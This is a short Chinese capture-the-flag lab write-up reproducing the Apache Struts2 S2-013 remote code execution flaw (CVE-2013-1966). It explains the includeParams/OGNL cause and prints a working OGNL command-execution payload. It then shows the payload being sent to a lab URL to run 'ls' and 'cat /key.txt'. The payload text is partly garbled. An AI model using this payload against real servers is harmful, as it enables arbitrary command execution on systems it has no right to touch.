墨者学院-Apache Struts2远程代码执行漏洞(S2-013)复现

靶场地址:

https://www.mozhe.cn/bug/detail/S0NiS2JMeTZUTVg3RXdMYzdqWTBQUT09bW96aGUmozhe

漏洞编号:CVE-2013-1966

影响范围:Struts 2.0.0 - Struts 2.3.14

漏洞原理:s:url和s:a标记都提供includeparams属性。

该属性的主要作用域是了解包含或不包含http://request参数的内容。

INCLUDEParams的允许值为:

none-在URL中不包含任何参数(默认)

get-仅在URL中包含get参数

all-在URL中同时包含get和post参数

当INCLUDEParams被赋予了以上参数,struts会进行OGNL解析

任意命令执行Exp:

${#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('[命令]').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(+new java.lang.String(#d)),#out.close()}

构造需要的命令进行url编码,添加到http://219.153.49.228:45210/?a=[exp]

执行ls \命令:


返回目录

执行cat /key.txt命令:


获得key

你可能感兴趣的:(墨者学院-Apache Struts2远程代码执行漏洞(S2-013)复现)